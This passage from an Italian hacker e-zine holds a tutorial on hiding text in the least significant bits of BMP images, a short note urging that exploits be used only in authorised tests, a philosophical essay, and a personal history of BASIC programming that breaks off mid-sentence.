informazioni ancora più importanti come programmi, file di testo ecc....! E 
come?
Beh questo lo spiegherò più avanti! Che lo abbiate capito o meno, ci troviamo 
nel campo della Steganografia.
La Steganografia è la scienza che si occupa di celare un qualcosa all'interno di 
un'altra! Non sto a raccontarvi la sua storia perchè su Internet si trovano 
miliardi di pagine, però voglio solo chiarire la differenza che c'è con la 
crittografia. La crittografia consiste nel modificare testi, mediante l'uso di 
particolari algoritmi, in modo tale che un determinato nemico, se non è in 
possesso dell'algoritmo di decodifica non potrà mai leggere; questo fatto 
implica però che il nemico sa di aver nelle sue mani un testo criptato, ma è 
incapace di comprenderlo! La steganografia invece si occupa di celare messaggi 
all'interno di altri messaggi che all'apparenza possono sembrare per il nemico " 
innocui " come per l'appunto una semplice immagine fotografica, ma che in realtà 
non lo sono.
Per poter capire come nascondere un testo in una Bitmap, dobbiamo prima capire 
questa com'è composta!
Iniziamo allora!
Il formato Bitmap ( estensione .bmp ) è uno dei formati immagine più importanti, 
il quale ha perso un pò di importanza con la nascita di Internet è la 
conseguenza popolarità della .Jpeg-.jpg ( che non è altro un formato compresso 
).
Dal punto di vista grafico, essa è costituita da un insieme di Pixel, ognuno di 
questi definiti da tre colori primari: Rosso - Verde - Blue ( RGB )
Ciascuno dei tre colori può assumere un valore compreso tra 0 e 255; quando 
tutti e 3 si trovano a 0, si realizza il colore nero, quando sono a 255 nasce il 
colore bianco, mentre le varie combinazioni realizzano i vari colori. Ogni pixel 
poi può essere rappresentato da n bit ( massimo 24 ), il quale identifica la 
profondità dell'immagine; maggiore è la profondità, più l'immagine è perfetta e 
ricca di sfumature.
Se ad esempio prendiamo un'immagine con una profondità di 24 bit, notiamo che 
ciascun pixel ha una grandezza di 24 bit ( 8 bit per il Rosso, 8 per il Verde , 
8 per il blue )

Profondità:  24 bit

                   R                G              B
		00000000	00000000	00000000  = 24 bit = 1 pixel
               |________|      |________|      |________|

Essendo ogni pixel identificato da 24 bit, esso potrà assumere 2^24 ( 16.777.216 
i cosidetti 16 milioni di colori ) colori differenti.
Ma come funziona il principio del mascheramento di un testo all'interno di una 
Bitmap? Beh la tecnica sta nell'inserire le informazioni da nascondere ( viste 
sottoforma di consecutivi 0 e 1 ) nel bit meno significativo di ogni colore che 
compone un pixel; mi spiego meglio;
mettiamo caso che si è in possesso di un file .txt che contiene semplicemente il 
carattere 'S'; ora vogliamo far si che questo carattere venga nascosto nel file 
.bmp; si procede nel seguente modo:

Ad ogni carattere ASCII è associato un valore numerico e di conseguenza una 
combinazione binaria ( nel nostro caso 'S' è uguale nella tabella ASCII ad 83, 
in binario  01010011 ).
Ora dobbiamo nascondere questo byte nella bitmap.

Sappiamo inoltre che la bitmap è una sequenza di byte ed ogni 3 byte ( per i 
file a 24 bit di profondità ) identificano un pixel

Offset:
                B    G   R
00000036: 	FC  FF  01     

Questi 3 byte ( espressi sottoforma esadecimale ) , definiscono il colore di un 
pixel:

FC = 252 = 1111110[0]

FF = 255 = 1111111[1]

01 =   1 = 0000000[1]

( premetto che se aprite un file .bmp con un editor esadecimale, vedrete i 
valori RGB invertiti, nel senso che verrà mostrato da sinistra verso destra 
prima il Blue poi il Green e infine il Red, ovvero viene prima memorizzata la 
parte meno significativa del pixel e poi quella più significativa; questa è la 
codifica Intel 80x86)


ora affinchè la lettera 'S' possa essere celata nel file , bisogna far si che 
ciascun bit del carattere venga inserito progressivamente nei byte che 
definiscono il colore e precisamente nei bit meno significativi ( ovvero quelli 
tra parentesi )
Allora si avrà:

S = 01010011 

Blue = FC = 252 = 1111110[0]

Green = FF = 255 = 1111111[1]

Red = 01 =   1 = 0000000[1]

L'ultimo bit del colore blue rimarrà a 0 visto che il primo bit del carattere è 
0, l'ultimo bit del secondo byte rimarrà anch'esso ad 1 visto che il secondo bit 
del carattere è 1 mentre l'ultimo bit del terzo byte verrà cambiato in 0, visto 
che il terzo bit del carattere è 0; questo permette di celare solo i primi 3 bit 
della lettera 'S'; occorreranno allora altri 5 byte del file .Bmp per nascondere 
completamente il carattere 'S'; facciamo un altro esempio

abbiamo sempre la lettera 'S' ( 01010011 )

e poi prendiamo 8 byte consecutivi del file bitmap:


	0110011[1]      1001111[1]       1000010[1]

	1011101[0]      1010000[0]       1010011[0]

        1111111[1]      0000101[0]

[ tra parentesi quadre è evidenziato il bit meno significativo di ciascun byte ]
Ecco un piccolo array di 8 byte;



ora dobbiamo nascondere 01010011 in questo array;
il tutto si trasformerà in ( muovendosi da sinistra verso destra, e dal basso 
verso l'alto )

        0110011[0]      1001111[1]       1000010[0]

	1011101[1]      1010000[0]       1010011[0]

        1111111[1]      0000101[1]

Ecco fatto; ma ora voi vi chiederete: perchè si setta il byte meno 
significativo? Beh perchè il bit meno significativo, come dice il nome stesso, 
ha nel complesso un'importanza inferiore rispetto gli altri; questo significa 
che modificandolo, non si noterà alcuna alterazione nei colori; infatti 
osservando l'immagine dopo aver modificato i bit meno significativi della 
stessa, l'occhio non osserverà alcuna modifica all'immagine;

Ora però occorre sapere dove bisogna mettere le mani nel file per poter 
lavorare! Infatti il file bitmap non è costituito solo da terne di byte, ma 
possiede anche degli headers che permettono di avere varie informazioni 
sull'immagine stessa;


Informativamente un file bitmap è suddivisibile in 4 intestazioni:

BITMAPFILEHEADER 
BITMAPINFOHEADER 
RGBQUAD          
BYTE

BITMAPFILEHEADER: Questo header è composto da 112 bit ( 14 byte ) ed ha il 
compito di definire
 il tipo , la grandezza e l'offset dei byte che rappresentano i pixel 
dell'immagine

typedef struct tagBITMAPFILEHEADER {    
    UINT    bfType;
    DWORD   bfSize;
    UINT    bfReserved1;
    UINT    bfReserved2;
    DWORD   bfOffBits;
} BITMAPFILEHEADER;

 bfType di tipo Uint ( 2 byte )
 bfSize di tipo Dword ( 4 byte )
 bfReserved1 di tipo Uint ( 2 byte )
 bfReserved2 di tipo Uint ( 2 byte )
 bfOffBits   di tipo Dword ( 4 byte )


vediamo un esempio di .BMP aperto con un Editor Esadecimale

   00 01   02 03 04 05   06 07   08 09   0A 0B 0C 0D

  [42 4D] [76 01 00 00] [00 00] [00 00] [36 00 00 00]

bfType -> 4D42h : Indica il tipo di file
BfSize -> 00000176h -> 374 byte : Indica la grandezza totale del File
bfReserved2 ->  0h : viene sempre posto a 0
bfReserved2 ->  0h : viene sempre posto a 0
bfOffBits   -> 00000036h : Indica la locazione di memoria dalla quale cominciano 
le terne dei                                colori RGB

BITMAPINFOHEADER: Questo header specifica la grandezza  della bitmap escludendo 
gli headers, l'eventuale compressione d'immagine, la profondità dell'immagine e 
le dimensioni dell'immagine.

typedef struct tagBITMAPINFOHEADER {   
    DWORD   biSize;
    LONG    biWidth;
    LONG    biHeight;
    WORD    biPlanes;
    WORD    biBitCount;
    DWORD   biCompression;
    DWORD   biSizeImage;
    LONG    biXPelsPerMeter;
    LONG    biYPelsPerMeter;
    DWORD   biClrUsed;
    DWORD   biClrImportant;
} BITMAPINFOHEADER;

 
   biSize  di tipo Dword ( 4 byte )  
   biWidth di tipo Long ( 4 byte )  
   biHeight  di tipo Long ( 4 byte ) 
   biPlanes di tipo Word ( 2 byte ) 
   biBitCount di tipo Word ( 2 byte ) 
   biCompression di tipo Dword ( 4 byte )  
   biSizeImage di tipo Dword ( 4 byte ) 
   biXPelsPerMeter di tipo Long ( 4 byte ) 
   biYPelsPerMeter di tipo Long ( 4 byte ) 
   biClrUser di tipo Dword ( 4 byte ) 
   biClrImportant di tipo Dword ( 4 byte ) 

esempio: 
  [ 28 00 00 00 ] [ 0A 00 00 00 ] [ 0A 00 00 00 ] [ 01 00 ] [ 18 00 ]

  [ 00 00 00 00 ] [ 40 01 00 00 ] [ C2 2D 01 00 ] [ C2 2D 01 00 ]

  [ 00 00 00 00 ] [ 00 00 00 00 ]

biSizE --> 00000028h --> 40 byte: indica la grandezza dell'header 
BITMAPINFOHEADER
biWidth --> 0000000Ah --> 10 pixel: indica la larghezza in pixel dell'immagine
biHeight --> 0000000Ah --> 10 pixel: indica l'altezza in pixel dell'immagine
biPlanes --> 0001h --> 1: Campo settato sempre ad 1
biBitCount --> 0018h --> 24 bit: indica la profondità dell'immagine
biCompression --> 0000h --> 0: se posto a 0 indica l'assenza di eventuali 
compressioni
biSizeImage --> 00000140h --> 320: indica la grandezza in bytes della sola 
immagine
biXPelsPerMeter --> 00012DC2 --> 77250: specifica la risoluzione orizzontale dei 
pixel per metro
biYPelsPerMeter --> 00012Dc2 --> 77250: specifica la risoluzione verticale dei 
pixel per metro
biClrUser --> 0000h --> 0: indica i numeri dei colori; se settato a 0, la bitmap 
usa il                            numero massimo dei colori ( 16 milioni )
biClrImportant --> 0000h --> 0: indica il numero dei colori ritenuti importanti; 
se settato a 0                                 tutti i colori sono importanti

Oltre a questi due header, ci sarebbe anche un altro, chiamato RGBQUAD che però 
non viene usato nelle immagini a 24 bit.
Nella steganografia si preferisce usare immagini a 24 bit proprio perchè queste 
hanno maggiore capienza; infatti se prendiamo un immagine con profodintà di 8 
bit si avrà:
                        
			00000000 = 8 bit = 256 colori = 1 pixel

di conseguenza in un'immagine ad 8 bit,ogni pixel può immagazzinare solo 1 bit, 
mentre in un'immagine a 24 bit, ogni pixel può immagazzinare ben 3 bit!

Facciamo un pò di conti.....se il BITMAPFILEHEADER  occupa 14 byte e il 
BITMAPINFOHEADER nè occupa 40, significa che l'intero header occupa 54 byte, 
quindi al 55° byte siamo già nell'area dei pixel;

Finita la parte della teoria ( spero che sia stata comprensiva! In caso 
contrario vi invito a contattarmi in email o mediante qualunque altro canale di 
comunicazione e porre le vostre domande ), passiamo alla pratica! Per fissare 
bene i concetti, infatti, ho realizzato 2 semplici programmi in Visual Basic; 
uno permette l'inserimento del testo all'interno del file .bmp; l'altro consente 
di estrapolare il testo dalla bitmap!

p.s: per i " convinti " anti-micro$oft, premetto che ho usato questo ambiente di 
sviluppo, prettamente per la sua semplicità e rapidità nell'impararlo! Il 
programma non deve effettuare calcoli astronomici, quindi non vi piantate 
discutendo sul linguaggio adottato; potevo benissimo scriverlo in pascal o 
assembler, ma ho ritenuto opportuno farlo in Vb, in modo da avere maggiormente 
un accesso User Friendly ( grazie ).
Vediamo ora i 2 programmi come funzionano:

Coder: è quello usato per nascondere il testo nella bitmap.
Esso innanzitutto apre il file .Bmp e calcola la quantità di bytes che è 
possibile inserire nell'immagine. Dopodichè apre il file di testo e verifica che 
la sua grandezza sia minore o uguale di quella del area dati dell'immagine 
bitmap
Se è uguale, con un ciclo che va da 1 a EOF(Fileditesto) preleva il carattere 
ASCII, lo scompone in sequenza di 8 bit; successivamente preleva uno alla volta 
i bytes informativi  della bitmap ed effettua un ciclo di 8 passaggi nel quale 
setta a 0 o ad 1 ( a seconda dei bit del carattere ASCII ) mediante operazioni 
logiche di AND e OR, il bit meno significativo del dato byte della bitmap! Se 
invece la capienza della bitmap  è maggiore del file di testo, effettua lo 
stesso discorso di prima, ma in più setta i bit meno significativi dei 
successivi 8 byte a 0, in modo tale che il Decoder appena osserverà 8 bit posti 
a 0, capirà che non occorre più prelevare byte.

Decoder: IL decoder è molto più semplice da comprendere! Infatti egli preleva 
ciclicamente i byte informativi dalla Stego-Bitmap, estrapola il valore logico 
del bit meno significativo di ciascuno di questi e lo inserisce in una stringa 
di grandezza 8; riempita codesta stringa ( che rappresenta un byte ), essa viene 
convertita in valore numerico, quindi ASCII e inserito in un nuovo file di 
testo! Questo avverrà fino alla fine del file Bitmap oppure quando verrà 
prelevato un valore numerico pari a 0 ( il discorso prima degli 8 bit posti a 0 
); questo metodo infatti, permette al Decoder di "capire" quando occorre 
fermarsi nella decodifica!

Beh il tutorial è finito qui...spero che questa idea possa portarla avanti 
apportando al programma sempre nuove modifiche! Per chi non mastica molto il 
linguaggio a basso livello, sarà difficile comprendere il tutto...quindi se 
avete dubbi, domande, chiarimenti, critiche o proposte potete scrivermi 
all'indirizzo: edivada@iol.it o querarmi sul server IRC sotto il nick 
^_][ice][man][_^ nel chan #napolihak. Saluti e a presto

							Davide Alias ^_][ice][man][_^


P.s: ci possono essere errori nel programma in Visual Basic...non fateci caso..e 
il secondo giorno che lo uso ;)


+==[ IL PENSIERO DELL'HACK ]==================================================+
|  Titolo: Exploit e Legge                                                    |
|  Autore: Nemesis                                                            |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Exploits e Legge
---------------- 
by Nemesis 
[ BlackAngels Staff ] and [Informazionelibera Staff] 



Gli Exploit non devono mai essere utilizzati per scopi che vanno al di fuori 
di test sulla propria rete o sul proprio terminale. 
Ogni atto illecito rivolto ai sistemi informatici di terzi può comportare la 
denuncia dell'aggressore da parte dell'amministratore del sistema colpito. 
Le pene inflitte in caso di intrusione e/o danneggiamento di sistemi 
informatici altrui vanno dal pagamento di elevate sanzioni, pari ai danni 
provocati, alla reclusione fino a 5 - 7 anni.
Ogni volta che ci si appresta ad analizzare una rete di terzi e a testarne la 
sicurezza, c'è il rischio di incorrere in vari problemi legali pertanto è 
necessario prendere una serie di precauzioni prima di iniziare :

[1] Per prima cosa sarà necessario specificare al proprietario del sistema 
informatico che ci apprestiamo ad analizzare, quali rischi potrà correre la 
sua rete durante i nostri test e decidere con lui i giorni ottimali per 
effettuare la scansione, preferibilmente giorni festivi durante la notte, 
quando il sistema è sicuramente inattivo. Quindi tutte queste informazioni 
saranno riportate in un piccolo contratto, firmato da noi, dall'amministratore 
di sistema e dal Tester e controfirmato da due testimoni.

[2] Quando si effettua un'analisi su di un sistema bisogna sapere precisamente 
ciò che si sta facendo e conoscere il sistema sul quale si lavora, come le 
proprie tasche, pertanto solo dopo essersi documentati sul funzionamento del 
sistema e su come porre rimedio a potenziali danni, si potrà iniziare.


+==[ IL PENSIERO DELL'HACK ]==================================================+
|  Titolo: Trattato Filosofico: iL kØsMØS                                     |
|  Autore: Unrelated                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••
 -----< Trattato Filosofico: iL kØsMØS >--------------------------------

 Non aspettatevi da questo articolo le solite illuminazioni tecniche sui 
 linguaggi di programmazione  e  le esilaranti  dementi  battute   humor
 alle   quali  nn  rifiuto mai una farcitura tra un codice  e  l'altro..
 questo   articolo  ha  il  solo  scopo  di  risolvere  alcuni  problemi 
 esistenziali  della maggior parte degli smanettoni che come me  passano
 dalle 3 alle  11  ore al giorno  se non  di   più  davanti   alla  loro
 macchina con una song di Yoshi Torenaga nelle orecchie...

 ------------<  InTrO    >-----------------------------------------------

 ...quello  ke  sto  per trattare sono semplicemente le  mie  riflessioni 
 filosofiche sull'originedella specie... State  tranquilli  nn  sto   per
 trattare un riassunto del  libro di Darwin  sulla teoria dell’evoluzione

------------<  DiMen    >------------------------------------------------
 Prima di tutto dimensioniamo alcuni valori di testo:
 Dim ... As quando incito il lettore a soffermarsi su un determinato
            concetto.
 Dim nn = non
 Dim xkè = perchè

 -----------<   kØsMØS  >------------------------------------------------
 -----------<   PasSaTo   >----------------------------------------------

 - EvOlUzione

 La felice scoperta di Wallance e Darwin fu la teoria per la  quale  ogni  
 essere  vivente ha una ORIGINE  COMUNE  CON MODIFICAZIONI,     in  brevi
 parole deriviamo tutti da uno stesso  essere  primordiale  che  poi  nel
 corso del tempo  si  è  diviso  ramificato  e  modificato, soggetto alla
 Selezione Naturale e quindi CONDIZIONATO dall'ambiente in cui si trovava


Raga ora vi kiederete cosa centra con il Kosmos e cos'è il kØsMØS?
La risposta è semplice il kosmos x gli antichi filosofi Greci è  Ordine,è
origine,è principio, x me è pensiero razionale ed irrazionale,  è  quello
che  invano  tenti  di pensare  e  di  focalizzare ma ke potrai  capire è
riconoscere tra le righe che scriverò di seguito... Quando  hai letto  la
piccola  teoria dell'evoluzione hai capito tutto ma  se hai capito quello
hai letto significa  ke hai evocato  in quell' istante  il  kosmos ed lui
ti  ha   dato   la   soluzione  esprimendo  la  tua  saggezza   inconscia 
identificata da basi razionali attraverso la ragione,   quindi in  questo
preciso istante hai intrapreso un processo involutivo  che  ti ha portato
ad attingere da un database le immagini ke hai  pensato  x  decifrare  le
righe ke ho scritto.

 Alla base del TUTTO c'è un DATABASE di esperienze...
 ...questo database è il kosmos

 Attenzione x immagini si intendono processi logici ke poi possono essere
 personalizzati dalla tua fantasia...   il Kosmos nn è capire ke tipo bin
 laden ha  la  barba e immaginare che ce  l'abbia magari  blu  ma  capire
 cose astratte (le così dette illuminazioni)  attraverso un  procedimento 
 logico  temporale del quale facevate parte anche se indirettamente tanti
  anni fa...

In brevi parole attraverso mezzi scientifici riusciamo ad andare indietro
 nel tempo ma solamente xkè,anche se nn c'è lo ricordiamo,   nel DATABASE
 comune,ke sarebbe la struttura comune del nostro DNA,già abbiamo vissuto
 queste cose ke sono immagazzinate nella nostra mente ed  aspettano  solo 
 di essere rievocate proprio come dei  ricordi  propri  ai  quali  nn  ci 
 pensiamo,ma, ke alla  fine  riemergono  xkè  riportati  alla   luce   da  
 qualche  foto o parole  o altre cose che siano collegate alle esperienze 
 recenti... 
 Le esperienze vissute sono quelle ke si trovano nel  nostro  cervello  il
 nostro piccolo   
 kosmos -> database...  Le  esperienze  nn  vissute sono  quelle ke fanno
 parte  di  tutti  e   si   trovano  in  un database comune al quale ogni 
 cervello umano e animale può attingere...   Infatti il cane nn impara da 
 nessuno ke deve seminare il territorio ma,sa ke deve farlo xkè il kosmos
 glielo dice.Gli essere umani al contrario degli animali sono in grado di 
 interagire  con il Kosmos in modo sincronico e  diacronico... quindi  se  
 siamo così  evoluti  è  perkè  il  Kosmos  ci  ha  fatto  questo  favore  
 (Capacità  della  Ragione)  o  questo  spiacevole  accordo (Morte) ... 
 Quindi   avendo   risolto   ora   l'origine   della   ragione   possiamo
 tranquillamente interpellare il kosmos per dare la definizione unica che 
 possiamo avere quando ci chiediamo qual'è il principio di tutte le cose? 
 Attraverso processi logico scientifici possiamo ipotizzare  che  sia  ad 
 esempio l'aria...  ma  se  poi  riflettiamo  sull'origine  dell'aria  ci 
 blocchiamo  e  se vogliamo  che il principio di tutte le cose sia l'aria 
 altro  non  resta  che  identificarla  come  postulato...  
 però se riflettiamo su quello che abbiamo pensato  andando  indietro  la 
 soluzione è molto kiara il principio di tutte le cose è  qualsiasi  cosa
 quindi il tutto oppure il niente...
 in  effetti  se  riflettete  sull'origine  delle  cose  non vi resta che 
 arrendervi di fronte all'evidenza che pensate a tutte  le cose possibili
 ed immaginabili al niente più totale, questo pensiero è la  legge x  cui
 tempo fa persi la testa anche se elaborandola x diletto  nel  creare  un
 ragionamento sull'origine delle cose...

 il tutto è tutto ed il niente è l'insieme e l'origine di tutto.

 Quindi il kosmos,  che  in  questa  fase  del mio filosofare è il tutto,
 nasce dal niente, quindi attenzione il niente è principio di  tutte  le
 cose toccabili con mano, ma il kosmos è il principio di tutte  le  cose 
 astratte. Allora qui l'obbiezione sorge ovvia, ma non c'è niente di più
 astratto del niente! Allora semplicemente possiamo dire  che  il  niente 
 ed il kosmos sono la stessa cosa visto che il corpo è origine del kosmos
 e il kosmos è origine del corpo.
 





 -----< iL kØsMØS >------------------------------------------------------
 -----------<   PrEsenTe >-----------------------------------------------


 Il mondo nostro è una specie di luogo dove ci facciamo le ossa,assumiamo
 esperienze che poi morendo verranno assimilate dallo stesso Kosmos.  Noi 
 esseri umani quindi alla nostra morte contribuiamo al completamento  del
 Kosmos... ki più ki meno viene assimilato dal suo creatore  e se dannoso 
 espulso... quindi per gli esseri umani è imperativo ed utile ragionare e
 pensare innovazioni e tecniche che migliorino la vita dell'individuo sia
 dal punto di vista sentimentale che razionale...     collaborando con il  
 kosmos a noi è  permesso ankè trovare una medicina che allunghi la vita,
 ma tipo è inutile trovare un qualcosa che dia immortalità non  esiste ed 
 è purtroppo per noi  e  per  lui  controproducente  al  completamento  e 
 miglioramento  della  nostra  specie  e  dell'essenza  che la compone...


 La spiegazione teologico-cristiana sarebbe quella dell'inferno dove  gli 
 ignavi e portatori di esperienze dannose vengono ignorati e li risiedono 
 ed il paradiso ke sarebbe il kosmos il quale è composto da una essenza..
 Ma il kosmos può basarsi anche sulla  spiegazione  teologica  che  parla 
 della reincarnazione, semplicemente in brevi parole le caste sarebbero i
 livelli  di  esperienza  quando  una  le  supera tutte farà parte di una 
 essenza,quella essenza è il kosmos...logicamente chi non le supera torna
 indietro... ed anche le altre religioni  moderne come si gira e si volta 
 alla base hanno dei concetti simili... ed  proprio  qui  il kosmos si fa 
 sentire molto forte infatti se alle basi i ragionamenti  sono totalmente 
 diversi all'apice sono totalmente comuni...secondo il kosmos o sei buono,
 o sei in sospeso,  o sei cattivo, nn è ke da qui si può scappare giusto?

 Il Kosmos non può vivere senza di noi, noi non possiamo vivere senza 
                                                               il Kosmos
 Il kosmos ha fatto evolvere noi in quello che siamo... 
 e farà evolvere noi in quello che saremo...

 Il Kosmos è anche inconscio ed il kosmos che non deriva dalla regione  x
 non  perderti  di vista e garantire la tua sopravvivenza agisce in  modo
 costante attraverso l'inconscio...la volontà cosciente non esiste se non
 c'è tempo di ragionarla...esempio quando portate la macchina e vi capita
 un  ostacolo  improvviso  davanti  a  voi  non avete tempo di pensare ma
 "istintivamente" tirate il freno... ma ki ve lo dice di tirare il freno? 
 In questo caso il kosmos vi aiuta... nel suo  magazzino di esperienze sa 
 che  vi  fate  male  se non tirate il freno quidi vi obbliga a tirare il 
 freno...     L'istinto umano come quello degli animali è controllato dal 
 kosmos...    La sopravvivenza dell'essere fin quando non è venuta la sua 
 ora  è  garantita  se non dalla ragione che è kosmos totale dall'istinto 
 che è il kosmos puro  al quale nessun essere può sfuggire... 

 il  kosmos  totale  è  troppo  complesso  e molte volte se ammette molte 
 soluzioni non riesce a  decifrarne quella giusta per mancanza di tempo x 
 questo che alla sua non attivazione si attiva il kosmos puro il quale  è 
 solo esperienza... che x la maggior parte delle volte è risultata  utile
 da quelli che in precedenza l'anno provata...e non ragionamento il quale
 indurrebbe a fare altre azioni che nn è detto che nn siano giuste ma che
 in  pochi  secondi   metterebbero  ad  un  rischio  maggiore l'essere in 
 questione di quello che già non è...
 
 l'azione totale del kosmos la verifichiamo attraverso i sogni,quando voi 
 sognate  ordinate ed elaborate le vostre esperienze, le quali, il kosmos
 assimilerà per identificarle subito come kosmos puro e che  alla  vostra
 morte catalogherà e testerà attraverso processi logici comuni come parti
 del kosmos totale se utili... 


 -----< iL kØsMØS >------------------------------------------------------
 -----------<   FuTurO   >----------------------------------------------- 
 Il futuro nn esiste... vi è mai capitato in sogno di vedere una scena ke
 poi  rivivrete  nella vita  reale?  Come possiamo spiegarci una cosa del 
 genere  se  il  kosmos  come  abbiamo  visto  è  del  passato e vive nel
 presente? Semplicemente quelle scene che vi sembra  di  prevedere  è  un
 immagine giusta  del kosmos totale il quale la ha  azzeccata tra milioni
 di probabilità, in effetti se ci fate caso le scene che vi sognate e che
 poi rivedete nella vita reale sono probabili e stupide, tipo salire  una
 scala oppure aprire una porte oppure dire una determinata  frase  in una
 certa circostanza... 

 -----------<    EndSub   >-----------------------------------------------


 Raga  so  benissimo  che molti di voi non hanno finito di leggere perkè 
 annoiati da un tutorial
 che  credete  metta  un casino di dubbi ma se pensate questo posso solo 
 dirvi On Error ResumeNext...

--< unrelated at libero dot it >----------------------------------------
--------------------------------------¤ Lord Unrelated Lodeguns ¤-------
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••

+==[ IL PENSIERO DELL'HACK ]==================================================+
|  Titolo: Storie di programmazione                                           |
|  Autore: Unrelated                                                          |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
¢•••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••••
---< Storie di Programmazione >-----------------------------------------
 
 Ciao amici della crew... ora vi racconto una piccola storiella prima
 di incominciare ad analizzare  la  cara  piattaforma visual basic...
 Un bambino di circa 9 anni e qualcosa si siede sulle  ginocchia  del
 padre che sta scrivendo qualcosa al computer... quel bambino  chiede
 al padre: << papi che stai facendo?>> ed lui  tranquillamente  <<sto
 programmando>>  il bimbo illuminato da quella parola chiese al padre
 se poteva programmare  pure lui...     il padre allora gli regalò un
 computer e disse al bimbo:    <<vuoi programmare?>> quel bimbo disse
 si... ahug potreste dire...   beh in effetti scarno come discorso ma
 sitetizzato... :D
 Ho pianto  un  sacco  di  volte   quando   non   mi   trovavo  nella 
 programmazione... ricordo che dopo  aver imparato le prime strutture
 logiche tipo..  if-than-else-end  if  volevo  dare  bellezza ai miei 
 programmi, e mi  ricordo   che   usavo  il  metodo   ole  per  poter
 mettere  una immagine di sfondo...  infatti  se  ci  cliccavo  sopra
 si apriva il  programma da dove avevo importato l'immagine...   ogni
 volta ke aprivo un form facevo Load...     senza  mai  fare  hide...
 così  mettevo  in  memoria tanta di quella roba  che dopo il  quinto
 form avevo già tutta la ramma  occupata... :)     eh  quante  ne  ho
 fatte... per chi non lo avesse capito quel bimbino ero io.. ora sono
 passati  un   bel  pò  di  anni...  dal  VB5  sono  passato  al 6... 
 è passata tanta di quella acqua sotto i ponti che quando  mi vado  a 
 vedere  nel  mio  vecchio  486  i  primi progetti..ho dei bellissimi
 ricordi.. ricordi che erano belli e mi facevano   sorridere   quando
 riuscivo in qualche cosa... brutti  quando invece non ci riuscivo...
 ma  sempre  nuove esperienze...   che  bello programmare! E' proprio 
 per questo motivo che ora  mi  accingo a descrivere  la  piattaforma
 Visual Basic...   sperando  di  non essere palloso  ma  di  arrivare
 al cuore di tutti affinchè si appasionino come me...
 Intanto nelle mie orecchie la mitica canzone One Love di Lord Bean e
 Alessandro Cassano dedicata al mitico Joe Cassano... 

---< Pima del 1988 >----------------------------------------------------

---< GW-BASIC>
 Prima del linguaggio ad oggetti è opportuno descrivere i primi sistemi
 di programmazione base DOS... :D       (SOLO PER APPASSIONATI COME ME)
 Vi ricordate le  prime calcolatrici programmabili... beh io no ma papi
 si  quindi diciamo che proseguo facendo una intervista a mio padre per
 sapere questi pezzi di storia che se no vanno persi...
 
 unrelated << papà quali erano i primi computer presenti sul mercato?>>
 Luigi << Eh i primi computer o meglio  dire calcolatori  erano delle 
          piccole  calcolatrici  programmabili.. dove per  la maggior 
          parte    si  abbreviavano   calcoli  matematici  attraverso 
          espressioni.. la cosa importante di quelle calcolatrici era
          la facoltà di ricordare....  lo  sviluppo  della così detta
          memoria... perchè se non ci  fosse  stata  l'entrata  della 
          memoria a lungo andare si  sarebbero  continuate  ad  usare
          tabelle prefatte cartacee con parametri e risultati standard>>
 unrelated << papà quale è stato il primo linguaggio di programmazione
           sul  quale  hai  messo  le  mani.. e su che computer lo hai
           applicato?
 Luigi << Prima di partire per la Libia  comprai  un computer vero e
          proprio anche se non ho  ancora  oggi  abbandonato  la  mia
          calcolatrice programmabile... l'Amstrad supportava il  
          GW-Basic, molti pensavano che ero matto a quei tempi costava
          un miglione e mezzo...>>
 unrelated  << Parlami un poco del GW-BASIC? Su che piattaforma girava?>>
 Luigi << il DOS se   non  mi  sbaglio  il 4.0.. kmq il GW-Basic poi in
          seguito spodestato dal QBasic era  un  bellissimo  linguaggio
          che seguiva una programmazione scalare...        fu difficile
          capire all'inizio come funzionava, comprai 2 o  3   manuali a
          prova  di imbecille per riuscire  a  comprendere  qualcosa...
          diciamo che  girava  tutto  intorno  ai numeri di riga quindi
          molte volte se uno scriveva una istruzione poi con un semplice
          Loop poteva andarla a riprendere [...]  ogni volta che  facevo 
          un programma lo stampavo sempre su carta, quell'editor non era
          molto comprensibile.. [...] ricordo che all'inizio non riuscivo
          a non far sballare la dodicesima cifra dopo la  virgola  perchè
          non impostavo un determinato valore [...] il gwbasic ha aiutato
          me e quelli che stavano con me nel nostro lavoro..     anche se
          ripeto dovevamo stare attenti ai calcoli.. diciamo che per ogni
          programma che facevo  era  di  obbligo  in primo un secondo e
          un terzo controllo...
 unrelated << ²²²²...zzZ..Zz..²... ho capito, grazie pà>>
 
 Ho sintetizzato di molto quello  che  ha  detto,  se  no  apparavo tutta
 l'e-zine  con  la  sua  intervista... ma  gli  anni  belli  del  GWBASIC
 andavano terminando...             infatti suo fratello maggiore con una
 interfaccia più intuitiva..      compatibilità con più periferiche e una
 interazione maggiore con subroutine...      ma non tanto con le librerie
 come in GW.. lo stava spodestando pian piano..    le ragioni di proporre
 una piattaforma differente furono maggiormente economiche..      infatti
 il GW era free ma il QUICKBASIC no..

---< QuickBASIC >
 Il quickBASIC restò in una breve fase di transizione dai vecchi sistemi
 di dos4.0 a quelli più versatili del 5.0...  gli  hardware putroppo per
 il GW andavano potenziandosi.. e fu opportuno sistemare le  cose  prima
 col quickBasic e poi dare il colpo di grazia con il Q-Basic..   diciamo
 che l'unica differenza tra questi due sistemi  sempre  alle  parole  di
 papino..  era la  mancanza  del  compilatore  che  poi  nel  Q-BASIC fu 
 introdotto..

---< Q-BASIC >
 Il Q-BASIC come il VisualBasic fu preso di mira dai tecnici...  essendo
 definito un linguaggio non puro ed essendo definito per  principianti..
 purtroppo la situazione è questa...se uno ha esigenze di programmazione
 dove conta il risulato, l'interprete Q-Basic andava benissimo.. per chi
 invece  l'importante  era  deliziarsi   nella   programmazione  pura... 
 logicamente    tendeva   a    schifare     l'interfaccia   intuitiva... 
 io  non  vi  dico  di  quale  corrente  sono...  lo  capirete da voi...
 Diciamo che a favore  dei  vecchi  programmatori  BASIC  il  Q  offriva
 l'opportunità di importare  il  linguaggio con un semplice passaggio in 
 ascii.. e poi con un vero e proprio Import..    la stringa da immettere
 era SAVE nomefile.bas,A stesso dal basic... e poi aprire il Q e gioire.
 Diciamo  che  ora  non mi ci metto a descrivervi nei minimi particolari
 dei linguaggi ora passati  di  moda...   :)   se però siete interessati
